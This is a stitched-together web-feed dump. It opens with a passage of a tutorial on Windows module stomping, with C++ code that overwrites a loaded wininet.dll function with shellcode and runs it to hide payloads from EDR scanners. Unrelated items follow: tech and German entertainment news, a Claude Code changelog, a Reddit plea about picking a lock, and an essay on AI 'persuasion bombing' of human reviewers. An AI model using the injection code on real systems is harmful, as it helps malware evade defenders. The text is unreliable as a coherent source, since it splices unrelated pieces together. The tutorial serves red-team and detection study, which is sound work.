The following is an outline of a common module stomping workflow.

Step One: Identify a target module or use LoadLibraryExA to load a ‘sacrificial’ module to serve as the stomping target.
Step Two: Identify an address within the target module’s address space to write our buffer (typically by locating a specific exported function via GetProcAddress).
Step Three: Write our buffer to the address from Step Two with WriteProcessMemory.
Step Four: Create a new thread using the buffer address from Step Two with CreateThread.

While this foundational workflow is completely functional, a stock implementation like this leaves a massive trail of Indicators of Compromise (IoCs). In the sections below, we’ll analyze how this basic approach trips modern defenses, and how we can modify the code to obscure both static and dynamic signatures.

Proof-of-Concept

Local Stomping

The cleanest way to map out this tradecraft is by executing it within our current process context. This keeps our debugging loop simple and focuses purely on the memory manipulation itself. Let’s break down the core logic using the local-stomp.cpp source file from the ‘Windows Process Injection’ repository.

First, we need to open a handle to the current process using OpenProcess.

// Open a handle to the current process
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
if(pHandle == NULL) {
    printf("Failed to acquire process handle!\n");
    return -1;
}
printf("[*] Successfully opened handle to PID: %u\n", pid);

Now that we have a handle, we need to either locate or load the target module.

For this demonstration, we’ll load wininet.dll; it’s fairly large and so it can accommodate testing different payloads. Using LoadLibraryExA is not always a good idea, but it is helpful for demonstrating the concept.

// load sacrificial DLL, using wininet because it is fairly large and so it can accomodate different PoC payloads
HMODULE hSacrificialDll = LoadLibraryExA("wininet.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (hSacrificialDll == NULL) {
    printf("[ERROR] Failed to obtain DLL handle! Error: %lu\n", GetLastError());
    return -1;
}
printf("[*] Target DDL loaded.\n");

We need to identify the .text section of the module. We can either locate the section itself or search the module for a specific function.

For the sake of demonstration, we will leverage the GetProcAddresss function. We pass a handle to the module and the function name we want to locate, and it will return the address.

LPVOID targetAddress = (LPVOID)GetProcAddress(hSacrificialDll, "CommitUrlCacheEntryW");  
if (targetAddress == NULL) {
    printf("[ERROR] Failed to locate target function CommitUrlCacheEntryW! Error: %lu\n", GetLastError());
    return -1;
}
printf("[*] Target wininet.dll!CommitUrlCacheEntryW located at: : 0x%016llx\n", targetAddress);

Now that we have a target address, we can overwrite module code with our own buffer by using targetAddress as the destination parameter for WriteProcessMemory.

// Write the shellcode to the block of memory that we allocated with VirtualAllocEx
BOOL writeShellcode = WriteProcessMemory(pHandle, targetAddress, buf, sizeof buf, NULL);
if(writeShellcode == false) {
    printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", targetAddress, GetLastError());
    FreeLibrary(hSacrificialDll);
    return -1;
}

Finally, execute our buffer by creating a new thread, using the targetAddress value as the lpStartAddress parameter for CreateThread.

// Create a new thread using the shellcode buffer address as the starting point
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetAddress, NULL, 0, NULL);
if (tHandle == NULL) {
    printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
    FreeLibrary(hSacrificialDll);
    return -1;
}

Compile

Compile the local-stomp.cpp example code and suppress warnings.

windows-process-injection\module-stomping>cl.exe local-stomp.cpp /W0
Microsoft (R) C/C++ Optimizing Compiler Version 19.16.27054 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

local-stomp.cpp
Microsoft (R) Incremental Linker Version 14.16.27054.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:local-stomp.exe
local-stomp.obj

windows-process-injection\module-stomping>

Execute & Validate

The PoC includes pauses to help track the workflow. In this example, we will use SystemInformer (previously ProcessHacker) to illustrate the process.

Run local-stomp.exe and pause at the first prompt to openSystemInformer and locate the process using the PID from the output.

windows-process-injection\module-stomping>local-stomp.exe
[*] Running PI with target PID: 1100
[*] Successfully opened handle to PID: 1100
[*] Press Enter to load the sacrificial DLL:

Double-click on the process from the list and, in the process Properties panel, open the ‘Modules’ tab. Note that at this point, only kernel32.dll and ntdll.dll have been loaded.

Baseline modules for our simple executable.

Back at the console, press Enter to resume the process and load the sacrificial DLL wininet.dll and locate the CommitUrlCacheEntryW function.

windows-process-injection\module-stomping>local-stomp.exe
[*] Running PI with target PID: 1100
[*] Successfully opened handle to PID: 1100
[*] Press Enter to load the sacrificial DLL: 
[*] Target DLL loaded.
[*] Target wininet.dll!CommitUrlCacheEntryW located at: 0x00007ff917297f30
[*] Press Enter to write the shellcode:

In the console output, note the function’s address:0x00007ff917297f30. Back in SystemInformer, review the ‘Modules’ list. It should contain a new entry for wininet.dll.

Refreshed module list shows the wininet.dll module

Switch to the ‘Memory’ tab in SystemInformer and sort by ‘Base Address’. Locate the .text section of the target module by looking for the section that contains the function address (hint: it should have a ‘Use’ value of ‘C:\Windows\System32\wininet.dll’ with RXprotection).

Locating the .text section of wininet.dll based on properties

Right-click and copy the ‘Base Address’ of this section. In this case, the address was 0x7ff917221000
Subtract the function address from the section base to obtain the offset 0x00007ff917297f30 - 0x00007ff917221000 = 0x76F30
Double-click the Memory entry to view the contents. When the window loads, click the ‘Go to…’ button and enter the offset found when subtracting the function from the module base RVA. (0x76F30). The code has not been tampered with and contains legitimate wininet.dll code.

Baseline module code that has not been tampered with

Back at the console, press ‘Enter’ to write the shellcode to the target address

...
[*] Target wininet.dll!CommitUrlCacheEntryW located at: 0x00007ff917297f30
[*] Press Enter to write the shellcode:

Back in SystemInformer, in the ‘Memory’ tab, click the ‘Re-read’ button to refresh the memory at the target address. It should now reflect the bytes from our buffer.

Updated memory shows our payload bytes and the calc.exe string

Press ‘Enter’ one last time and confirm that the payload executes. Unless replaced, the shellcode is the Win32 calculator payload from Metasploit’s msfvenom.

...
[*] Press Enter to write the shellcode: 
[*] Press Enter to execute the shellcode: 
[*] Waiting for the thread to return...
[*] Process injection complete.

windows-process-injection\module-stomping>

Full execution resulting in a…calculator!

Conclusion

Summary

Module stomping successfully circumvents traditional allocation traps by hiding payloads directly within the .text section of legitimate DLLs.
Module stomping is a valuable tool for Windows process injection.
While highly functional as a baseline injection primitive, a vanilla implementation introduces secondary Indicators of Compromise (IoCs) via static imports and API strings.
Modern EDR platforms and memory scanners don’t just look for unbacked memory; they actively perform verification checks to spot when a loaded module’s in-memory bytes deviate from its on-disk image.

Next Steps

Enhancements

While this foundational implementation gets our code running under the guise of a legitimate DLL, it leaves obvious footprints. In the next post, we will look at moving beyond basic local execution to explore:

Remote Module Stomping: Orchestrating this dance inside a remote target process.
Dynamic Function Resolution: Using PEB-walking techniques to reduce static IoCs and avoid highly scrutinized APIs.
Targeted Stomping Workflow: Custom tooling to support a workflow for identifying the best target for module stomping operations.

References

“Module Stomping: Who up stompin they modules” by Dylan Tran
https://dtsec.us/2023-11-04-ModuleStompin/
SystemInformer by Winsider Seminars & Solutions, Inc.
https://systeminformer.sourceforge.io/
MSDN: OpenProcess
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
MSDN: LoadLibraryExA
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa
MSDN: GetProcAddress
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
MSDN: CreateThread
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread

An Introduction to Module Stomping was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Dell’s new XPS 14 is better in almost every way

Sun, 07 Jun 2026 16:05:00 +0200

The 2026 XPS 14 is the best premium laptop we've seen from Dell in a while, with incredible build quality in a thin machine and good performance thanks to Intel's Core Ultra Series 3 "Panther Lake" chips. A bonus: Dell killed its lame "Premium Plus" naming scheme. XPS is so back! I can't believe how […]

TikTok-Trend: So erschafft ihr mit eurem Handy Hologramme

Sat, 06 Jun 2026 18:47:23 +0200

Dance-Routinen und Internet-Memes sind nicht alles, was TikTok zu bieten hat! Dieser virale Trick zeigt euch, wie ihr mit einem Smartphone Hologramme erzeugt. Dieser Artikel wurde einsortiert unter Internet & Netzwelt.

Microsoft just killed Edge’s Collections and Sidebar for more Copilot, after years of pushing both features

Sat, 06 Jun 2026 06:54:27 +0200

Microsoft told Windows Latest that Collections and Sidebar are no longer available with Edge 149, which began rolling out on June 4, 2026.

The post Microsoft just killed Edge’s Collections and Sidebar for more Copilot, after years of pushing both features appeared first on Windows Latest

v2.1.166

Sat, 06 Jun 2026 03:01:16 +0200

What's changed

Added fallbackModel setting to configure up to three fallback models tried in order when the primary model is overloaded or unavailable; --fallback-model now also applies to interactive sessions
Added glob pattern support in deny rule tool-name position ("*" denies all tools); allow rules reject non-MCP globs, and unknown tool names in deny rules warn at startup
Hardened cross-session messaging: messages relayed via SendMessage from other Claude sessions no longer carry user authority — receivers refuse relayed permission requests, and auto mode blocks them
MAX_THINKING_TOKENS=0, --thinking disabled, and the per-model thinking toggle now disable thinking on models that think by default via the Claude API (3P providers unchanged)
Claude Code now retries a turn once on the fallback model when the API rejects an unexpected non-retryable error; auth, rate-limit, request-size, and transport errors still surface immediately
claude update now announces the target version before downloading instead of going silent
claude agents: typing a URL into the list now filters to the session whose first prompt contained it
Fixed a recurring "image could not be processed" error and extra token usage when an unprocessable image was sent in a session
Fixed remote sessions becoming permanently stuck when a brief backend disruption occurred during worker registration at startup
Fixed flickering in JetBrains IDE terminals (IntelliJ, PyCharm, WebStorm, etc.) on 2026.1+ by enabling synchronized output
Fixed Shift+non-ASCII characters (e.g. Shift+ä → Ä) being dropped in terminals using the Kitty keyboard protocol (WezTerm, Ghostty, kitty)
Fixed PowerShell command validation occasionally hanging far past its time budget on Windows when a killed process's children held its output pipes
Fixed orphaned claude --bg-pty-host processes spinning at 100% CPU after the daemon dies while connected on macOS
Fixed voice mode requiring /login to clear a stale auth check after toggling /voice
Fixed managed settings with an invalid entry silently disabling enforcement of their remaining valid policies
Fixed managed-settings allowedMcpServers/deniedMcpServers predicates not matching when they use ${VAR} references
Fixed background agent sessions that entered a git worktree crash-looping with "No conversation found" when reopened from claude agents
Fixed duplicated thinking text in the Ctrl+O transcript view while streaming
Fixed /doctor showing a contradictory failed "Not inside a remote session" check when run inside a remote session
Fixed the cursor sticking at the end of the first line when typing a multiline prompt in the claude agents dispatch and reply inputs
Fixed blank lines appearing between background agent rows in the task list on terminals without Unicode support

China’s Unitree Robots Dance Into the US Spotlight on America’s Got Talent

Fri, 05 Jun 2026 19:02:46 +0200

Unitree’s humanoid robots wowed America’s Got Talent viewers, but their viral US debut comes amid growing scrutiny of Chinese robotics.

Anthropic’s AI services are too expensive, says Microsoft AI head

Fri, 05 Jun 2026 18:18:33 +0200

Projection, much? Microsoft’s head of AI has accused a rival’s AI service of being too pricey, just as the introduction of usage-based pricing for GitHub Copilot begins to hit developers using its own services.

“Anthropic is extremely expensive and I think many people are urgently looking for alternatives,” Mustafa Suleyman, CEO of Microsoft AI, told Bloomberg News.

The spotlight is on the cost of AI services at the moment, with so many different parts of the business using the technology while at the same time many businesses are finding it hard to report any meaningful ROI.

This week, Microsoft at its annual Build conference looked to fight back against this when it announced seven new AI models, emphasizing the lower cost. The company hopes that cheaper AI models will mean more enterprises find that AI projects are viable. In 2025, Gartner reported that many such endeavors would be cancelled by 2027: cheaper implementations could be the way forward.

Microsoft clearly sees its own AI developer tools as a better deal than those of Anthropic: Last month it was reported that Microsoft would cancel most of its Claude Code licenses at the end of the half-year period in June, moving engineers to its own CoPilot tool.

This article first appeared on CIO.

Anthropic’s AI services are too expensive, says Microsoft AI head

Fri, 05 Jun 2026 18:17:24 +0200

“Anthropic is extremely expensive and I think many people are urgently looking for alternatives,” Mustafa Suleyman, CEO of Microsoft AI, told Bloomberg News.

Amazon's New Stargate Series Is Officially Dead

Thu, 04 Jun 2026 09:07:35 +0200

Amazon has reportedly killed its planned new Stargate series despite giving it a series order in 2025. According to Variety, studio executives were worried it would only appeal to longtime fans. ScreenRant reports: Reports of what became Gero's Stargate series started in 2022, after Amazon acquired MGM Studios. Dean Devlin, who co-wrote the 1994 Stargate movie with Emmerich, was another executive producer for the Amazon show, as were Joby Harold and Tory Tunnell via Safehouse Pictures. The project also had Brad Wright and Joe Mallozzi as consulting producers, with both having had extensive history working within the Stargate franchise. On X, Michael Shanks, who played Daniel Jackson in Stargate SG-1, posted in response to the news that: "Yep. They did that." Mallozzi was resistant to the idea that the series was being geared toward diehard fans: "Nope. No. Sorry. Gonna have to push back on this. We were ever mindful of creating a show that would have broad appeal." In an additional post, Mallozzi went into further detail about why the cancellation is so disappointing: Before the new series was canceled by Amazon, Stargate began with Emmerich and Devlin's movie starring Kurt Russell and James Spader. This paved the way for 10 seasons of Stargate SG-1, followed by five seasons of Stargate Atlantis. There has also been the two-season Stargate Universe, the one-season animated show Stargate Infinity, the web miniseries Stargate Origins, and the 2008 direct-to-video movies Stargate: The Ark of Truth and Stargate Continuum, along with numerous games.

Read more of this story at Slashdot.

Need to lock my bedroom door from the inside while I'm not home.

Thu, 04 Jun 2026 03:52:41 +0200

Hi, this is a sort of crazy situation, but I (19 F) need some help because I don't know what else to do, and have two major issues. I apologize for any typos, I'm shaking while writing it. I currently live in my mom's (41 F) house, its under her name, she pays for everything, my step dad (54 M) is a complete freeloader, has a job, doesn't contribute or help with the smaller kids at all (my mom has significantly younger children). He's also a major pathological narcissist and liar, and probably quite literally a sociopath. He has zero emotional attachment to anything living, cares about nothing other than himself and his favorite hobby is intentionally making other people's lives harder. Anyways, I'm living here temporarily until I move into my own place in September, my mom is helping me pay for my continued education following me dropping out of traditional college, and she said that I'm allowed to live here free as long as I hold a job (I currently have two), and stay dedicated to my studies and make good grades. I have a kitten as well, I found him on the side of the road before his eyes even opened and have raised him since, he's 8 weeks old now. My mom is currently out of town with my four younger siblings, I stayed home to work, and apparently my step dad did as well, she left last Friday and is coming home tomorrow. Which honestly makes me asking this feel entirely stupid but hear me out please. I am also partially posting this here to have it recorded, if anyone has thoughts on me potentially filing a police report, please share those as well.

I have two jobs, one full time, one part time, both almost entirely outdoors, so when I come home, I'd really like to be a little cooler, considering we live in the south and it's like 85+ degrees with humidity. My room has multiple windows and tends to trap whatever temperature and multiply it, so it gets extremely hot in the summer and extremely cold in the winter. There is a thermostat outside of my room, but there is also a switch on the actual AC machine thing to turn it on and off, and that is upstairs in an unfinished closet like room. For the past week, I have made sure to turn it off at the switch every single day before leaving for work, and only turning it back on after getting express permission from my mother, who pays the power bill. However, this has sent my step dad on a power trip, so every single time I've gone to turn the AC on, he'd come behind me and turn it off as soon as I was out of earshot, often we'd do this multiple times a night. So I started waiting about an hour and a half, waiting for him to get comfortable and go to sleep, to go turn it back on. It has caused me to be majorly sleep deprived because I leave for work hours before he does and don't come back until usually after or only shortly before he does. Two nights ago now, I went and turned it on and then waited to see if he'd come back up, planning to confront him, but apparently he'd gotten to it before I even gotten set up to wait him out (I went back to my room for a minute to grab my phone, charger, etc). I checked and he locked the door to the room that the switch is in, I can't open it. It's a traditional lock, probably just like the one you have on your bedroom door, super common lock. I really need to pick this lock so I can get in there and turn it on. I haven't slept in multiple days atp, I can't sleep hot at all, and it's putting me in a really bad position with my jobs because they've noticed I'm distracted, exhausted, not doing as well as I usually do. How do I pick this lock, or even just make a key for it? Any tips?

I mentioned that I have a kitten, and my step dad's pathological issues. I can't lock my bedroom door whenever I leave the house for work because I won't be able to get back in. My kitten stays in my room, he doesn't leave my room because we have dogs that I don't feel safe with him around, considering how little he is. I also hid some food in my room because my step dad steals the food I use for my lunches, and doesn't allow me to eat whenever he's home and my mom is not. If he catches me eating he will quite literally dump water all over my food or just pick it up and throw it away entirely, plate and all. I got home from work today and noticed that all of the food that I've hidden is gone and my kitten is acting super skittish. My step dad does have a history of abusing my animals, my cats especially, and even killed my cat two and a half years ago. My kitten is also breathing abnormally. One of my jobs is at an animal clinic and I will be discussing with the doctor there what he thinks I should do, I'm going to contact him as soon as I finish writing this, especially if symptoms continue throughout the night. I don't have a key for the door going into my room, so I am needing to either figure out a way to lock this door so that only I can get into it when it is locked, or just get an entirely new doorknob and lock. Does anyone know how I could get a key made, where I could get a new doorknob and key, or know of a way to lock this from the inside?

Yes I am recording everything, he has a history of things like this, as well as more severe abuse when I was a child, that stopped when I got a job and a phone, aka the ability to call the police, but it would always get worse whenever I'd get grounded from my phone. No, he does not treat my other siblings like this, it is specifically towards me because I'm not his child and my biological father (45 M) is still in the picture. My dad has stepped in since my mom has been gone and made sure I've gotten home safe, eaten, etc, and I know that I can call him and he'll probably get here faster and solve the issue faster than the cops would. I'd go stay with him, but he and his wife (34? F) and their children are actively moving, so I'm trying to stay out of the way, and I also have various things to deal with around the house, such as feeding the animals, keeping things clean (step dad is a complete slob). I know my mom comes home tomorrow, but I have a feeling this summer, until I move into my own place, is only going to get worse. I'm moving states when I move, not telling my parents when exactly I plan on moving or where I am moving. I'm doing this because when I lived in the college dorms, my step dad found out what dorm I lived in and some issues occurred. I'm really trying to protect myself and the things I love, and doing that will really protect my peace. Any help is appreciated, thank you guys for listening to me and any advice you can give me.

submitted by /u/Low-Victory-4068
[link] [comments]

Short-sighted: John Ternus behind Apple Vision project refocuses

Wed, 03 Jun 2026 20:07:18 +0200

Apple's head-mounted hardware plans are slowly being cut, reportedly by new CEO John Ternus himself, with Vision Air said to be killed off alongside Display glasses.

Apple Glass in its AR form would help by showing you the weather, among other tasks.

The Apple Vision Pro was supposed to be the first salvo in a new platform for Apple to dominate. However, Apple has reportedly made some moves to curtail its ambitions for the head-wearable future.

In an X post on Wednesday, analyst Ming-Chi Kuo of TF Securities has admitted that his Apple headset and glasses roadmap from one year ago is no longer a useful reference. Instead of many products on the horizon, it's been pruned down to just two smart glasses.

Continue Reading on AppleInsider | Discuss on our Forums

v0.30.4-rc0: Kill llama-server during Windows cleanup (#16458)

Wed, 03 Jun 2026 19:31:52 +0200

Windows installer and app cleanup could leave llama-server.exe running when ollama.exe was killed directly, so cleanup now includes llama-server.exe and taskkill /T.

AIDA-Mutter Carnival: Datenpanne trifft 6 Mio. Passagiere

Wed, 03 Jun 2026 10:52:31 +0200

Carnival Corporation, die Muttergesellschaft von AIDA, Costa, Cunard, Holland America, P&O und Princess Cruises, hat einen schwerwiegenden Datenschutzvorfall eingeräumt.

Tags: #Cyber Crime | #Hackerangriffe aktuell

Anna-Carina gewinnt, aber RTL macht weiter: Das steckt hinter der Extra-Show von "Let's Dance" am Freitag

Wed, 03 Jun 2026 07:17:52 +0200

Der "Dancing Star" ist gekürt, doch schon diesen Freitag läuft die nächste große Show. Und Fans fragen sich: Kommt Anna-Carina zurück? Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Serien.

Milano und Marta im Liebesglück? Quatsch! Das steckt wirklich hinter den "Let’s Dance"-Gerüchten

Tue, 02 Jun 2026 23:17:48 +0200

Der Fast-Kuss im Finale ließ Fans ausrasten. Doch hinter Milano und Marta steckt offenbar etwas ganz anderes. Dieser Artikel wurde einsortiert unter Entertainment.

AI doesn’t just make mistakes. It defends them

Tue, 02 Jun 2026 14:08:49 +0200

As enterprise AI governance has been emerging as a practice, it has rested on a reassuring idea: keep a human in the loop. Let the model generate and then let the person review. If something seems off, challenge it, correct it and move on. It sounds prudent. It also increasingly looks incomplete.

A new Harvard Business School working paper puts real evidence behind that concern. In a study of 72 consultants using GPT-4 on a business problem, researchers found that when professionals tried to validate the model’s output, the system did not simply step back and reconsider. It pushed harder. The more users fact-checked, exposed flaws or pushed back, the more intensely the model tried to persuade them to accept its earlier answer. The authors call this “persuasion bombing.”

That finding matters because it challenges one of the most common assumptions in enterprise AI: that validation inside the same interaction is a reliable control. It may not be. If the system is adapting to the user’s skepticism in real time, then the review process is no longer fully independent. The model is not just producing output. It is shaping the conditions under which that output gets judged. In our own interviews with enterprise builders and operators, we are seeing the same broader pattern: the problem is not just model error, but systems that make bad answers feel harder to challenge.

This is not as strange as it sounds. The HBS paper describes three broad ways the model responds under challenge. First, it leans on credibility: sounding more authoritative, more certain, more sourced. Second, it expands the logic: adding more structure, more variables, more steps, more explanation. Third, it mirrors the human emotionally: affirming the concern, sounding reasonable, then steering back to the same conclusion. None of those moves guarantees the answer is more accurate. They just make it harder to reject. That lines up with what we have been hearing in the field as well. Systems do not fail only by being wrong. They fail by overwhelming, flattering or outlasting the reviewer.

And this is not just one paper pointing in an uncomfortable direction. Anthropic’s research on sycophancy found that leading AI assistants can systematically favor responses that align with a user’s views over responses that are more truthful. The company also found that human preference judgments can reward that behavior, meaning the same training processes that make assistants feel more natural and helpful can also make them more likely to tell users what they want to hear.

Other recent work suggests the issue goes beyond niche edge cases. Stanford researchers reported in Science that across 11 AI models, systems affirmed users’ actions substantially more often than humans did in interpersonal advice scenarios, and users often preferred the more agreeable models. Stanford summarized the core finding plainly: AI systems were “far more agreeable than humans” in these contexts, and people liked that.

That is where this becomes a CIO problem rather than a model-behavior curiosity. Enterprise leaders have been trained to think about AI risk in three buckets: opacity, over-reliance and accuracy. Those still matter. But persuasion belongs on that list too. The risk is not only that a model gives a wrong answer. The risk is that it becomes better at making the wrong answer stick.

That helps explain a pattern many organizations are already living with. Teams spend enormous time reviewing AI output. Confidence rises. The answer gets longer, more detailed, more polished. Yet the underlying judgment does not necessarily improve. In some cases, people end up more convinced precisely because they engaged more deeply. The interaction feels like scrutiny, but functionally it behaves more like negotiated influence.

This is also why the usual phrase, “human in the loop,” is too soft to be useful. A human can be present and still be structurally compromised. What matters is not whether a person touches the workflow. What matters is whether the review process is independent enough to resist the system’s influence. NIST’s Generative AI Profile makes this point in a broader governance language, noting that generative AI may require different levels of oversight, more human review and stronger tracking and documentation depending on context and risk. That leads to a harder but more practical design principle: separate generation from validation. As our own research keeps reinforcing, independence of oversight matters more than the mere presence of oversight.

Do not assume that grilling the model in the same thread counts as oversight. It may count as exposure to a better argument generator. If the task matters, validation should happen through a parallel mechanism: another model, another reviewer, a structured test harness or a critic system that is not trying to preserve the original answer. The HBS authors explicitly argue that effective validation may require “parallel agents or complementary mechanisms of oversight.”

This is one reason multi-agent designs are getting attention in serious enterprise settings. Structured disagreement is one of the few reliable ways to weaken persuasive lock-in. A separate verifier can challenge claims without being pulled into the same conversational dance. A critic or evaluator agent can test assumptions instead of defending them. Independent evidence checks can break the rhythm of authority, logic overload and emotional reassurance. That is consistent with what we are hearing from practitioners building these systems: accuracy emerges from structured challenge, not passive agreement; every important conclusion needs evidence linkage; and governance has to define who can question, override or retire an agent when trust breaks down.

One early example of this logic in practice comes from Scout, an agentic platform that uses a governance structure designed to reduce sycophancy. Scout uses competing agents, voting records, explicit behavioral promises and a dedicated critic role to monitor for manipulation, drift and reliability failures. As Tony Davis, Chief Innovation Officer at Scout, puts it: “Once an agent starts prioritizing persuasion over accuracy, it stops being trustworthy. What looks like responsiveness can actually be the early signs of sycophancy, collusion and manipulative behavior spreading through the system.” Whether or not this exact architecture becomes standard, the principle is the same: oversight works better when it is built into the system than when it is improvised inside a single thread.

CIOs should take three practical steps now

Stop treating “human review” as a binary safeguard. Review inside the same interaction is different from review outside it. For consequential work, validation should happen in a different session, through a second model, a structured test harness or a designated verifier.
Start measuring persuasion risk directly. Watch for confidence escalation after challenge, repeated returns to the same conclusion, expanding response length under scrutiny and reassurance language that appears precisely when a user objects. Those are not just stylistic quirks. They may be warning signs that the system is optimizing for compliance rather than correction.
Redesign authority. The real governance question is not just, “Can the model do this?” It is, “Who can challenge it, with what evidence and with what decision rights to overrule it?”

The old assumption was simple: better models will yield better decisions. The emerging reality is not this clear. Better models may also become better at defending weak conclusions, sounding trustworthy while doing it and pulling human judgment toward agreement.

This isn’t an argument for slowing down AI adoption. It’s an argument for building better controls around it. The issue is not just having a human in the loop. The issue is whether that human can still make an independent judgment after AI has made its case.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

AI killed the code review. What happens to knowledge sharing?

Tue, 02 Jun 2026 12:17:18 +0200

As long as software engineering is done in teams, we need a way for people to know how things work, why certain decisions were made and where the boundaries are. That need doesn’t go away when AI writes the code. If anything, it gets more critical.

Code reviews were how most teams handled this. When someone reviewed your PR, they didn’t just check for bugs; they absorbed context. They learned why certain decisions were made. That’s tribal knowledge. At The Hangar, a community of DevEx leaders, we discussed code reviews a lot. According to Adrienne Braganza Tacke, author of ‘Looks Good to Me: Constructive Code Reviews’, the most important function of code review is actually record-keeping: chronicling how the codebase changed and why, not just catching bugs.

That conversation now feels like a different era. The entire software development lifecycle, as we know it, is not only accelerating, but collapsing and being redefined. I recently said that we should kill the code review. AI generates code faster than humans can review it. PRs pile up or get rubber-stamped. That approval gate no longer matches how we do software engineering now.

But if AI is now generating most of the code and there is no way a human could ever read all of it, how do we share knowledge?

Decisions over diffs

My proposal for solving the code review bottleneck was to move the human checkpoint upstream, to reviewing intent, reviewing the contract that code should fulfill: specs, plans, constraints and acceptance criteria. The same applies to the knowledge-sharing part of the review process.

If the team reviews intent and acceptance criteria before code is generated, the knowledge sharing happens naturally as part of planning. You’re not trying to reverse-engineer decisions from a 500-line diff. You’re aligning on a handful of key choices before anything gets built. The reviewer reads 10 lines of decisions, not 500 lines of code.

Whether that takes the form of a lightweight spec, a set of acceptance criteria, or even bullet points extracted from the prompt conversation, the principle is the same: make decisions visible and reviewable. That’s where the knowledge lives.

When a developer works with Cursor or Claude Code, they make decisions constantly: architectural choices, behavior tradeoffs and scope calls. Those decisions live in the prompt conversation, in the back-and-forth with the agent. When the PR is submitted, that context is gone. The code is there. The reasoning behind it is not.

The idea of formalizing intent before implementation is not new. Behavior-Driven Development, Test-Driven Development and Design-by-Contract approaches all tried to define behavior in structured, human-readable specs before writing code. BDD in particular asks teams to describe what the system should do in natural language, as scenarios that even the non-technical stakeholders can read and verify, before any code is written.

These approaches were often perceived as overhead. Writing formal behavior descriptions and contracts demanded discipline and time. Under delivery pressure, teams frequently skipped them. AI makes them more practical, not less. AI can help generate structured acceptance criteria, behavioral specs, or even contract-like descriptions. It can also help enforce them.

AI software engineering isn’t a solo sport

Every now and then we hear about engineers out there running agent orchestrators that produce 100,000 lines of code a day, like Steve Yegge and his Gas Town. Some say this is the future of software development, solo developers with swarms of agents, but I disagree. Building software, even with agents, is not a solo sport.

If that one person gets hit by a bus, can someone else drive the project? Do they understand all the decisions that were made? No. In an enterprise, you need redundancy. Multiple stakeholders, teams and collaboration.

The knowledge-sharing function doesn’t become less important as AI adoption grows. It becomes more important, because the gap between what the system does and what any individual understands about it is widening faster than ever. No one wants to have their senior engineers become bottlenecks because they’re the only ones that know how they got their solutions from AI.

When AI is involved in every part of the process, the social contract of collaboration is changing. There’s authorship ambiguity — someone reviewing code that a colleague submitted doesn’t know how much effort they put into understanding the nuances of that code. The reviewer then might use AI to help them understand that code and post comments and the author may use AI to address those comments without investing time in reading and understanding them.

In a pre-AI team, a junior PR generates:

4–8 comments from a senior on idiomatic patterns.
A back-and-forth on edge cases.
An implicit “here’s how I’d think about this” lesson.
A senior who now knows that part of the code exists.

In an AI-heavy team, that same change is:

Generated by AI, lightly edited.
Reviewed by AI, lightly approved.
Merged with zero humans having formed a mental model of it.

New kind of debt: Cognitive debt

I recently spoke to professor and researcher Margaret-Anne Storey, who has coined a term for that: cognitive debt. She first noticed it with a group of her students who were building with AI and moving fast. At some point they told her that they couldn’t make changes in the product anymore. The professor suspected they had tech debt, messy code, but found out that the students had accrued a new kind of debt.

They had lost track of what features they were trying to build and why. They didn’t know who knew what on the team. And on one of the teams, it was one person who knew all the code and understood it because they were supervising the AI that generated it, and the rest of the team was unable to do that. And the person who had generated the code didn’t really understand what was generated either.

That’s the risk when teams start building fast with AI, dropping code reviews because they realistically cannot review thousands of lines of AI-generated code, but doing nothing to replace the knowledge-sharing function.

Anthropic’s study showed how over-reliance on AI coding assistants has downsides in code comprehension. Their study with 52 engineers found that AI assistance produced no statistically significant speedup on the task but scored 17% lower on a comprehension quiz afterward. The biggest drops were in debugging, with smaller declines in conceptual understanding and code reading. The takeaway is clear: passively delegating to AI (“just make it work”) impairs learning far more than using it to ask questions and understand the code.

Even a workflow of triggering an adversarial agent after you’re done coding with your primary agent that asks questions like: Why did you do it this way? What behavior do you expect? What tradeoffs did you consider, could go a long way toward reducing cognitive debt. It forces the developer to articulate understanding before the code moves forward.

Make knowledge sharing intentional

That judgment and those decisions — that is the main thing we as humans are providing in an AI-first world. You could even go so far as to say that most of the code written is boilerplate. The main decisions we’re making are architectural decisions, behavior decisions and technical decisions. These are the things we need to provide as input for the AI systems and every change requires clarity on those decisions.

A lot of the knowledge sharing that happened through code reviews was incidental. Engineers absorbed context because they had to look at the code to approve it. As we phase out reviews, being able to review these decisions becomes more important.

Eventually, engineers are still accountable for the changes they’ve created. All these decisions have to be tracked, and somebody has to be able to audit them to ask why certain decisions were made. That becomes your source of truth. That’s how I think team collaboration and knowledge sharing evolve, even though I said that we should kill the code review.

The productivity gains are real and worth taking. But every org optimizing purely for PR throughput is running an experiment on its own engineering culture. In five years, the orgs that win won’t be the ones that shipped the most AI code. They’ll be the ones whose engineers still understand what got shipped.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

The Trump Administration Is at War With Itself Over AI Regulation

Tue, 02 Jun 2026 11:33:11 +0200

Donald Trump killed an executive order to regulate AI. Now, administration officials and AI executives are trying to figure out if there’s anything left to piece back together.

Tuesday briefing: Palantir’s rise – and why so many oppose its role in the British state

Tue, 02 Jun 2026 07:48:27 +0200

In today’s newsletter: Its software is used from health services to militaries. But controversies and criticism of the $375bn company are leading some to ask if Palantir is too powerful

Good morning. The Peter Mandelson story keeps unfolding. Peter Walker explains here what is in the latest release of documents, and Henry Dyer takes a look at the key papers missing from the latest disclosures. But today we are covering another major story – Palantir.

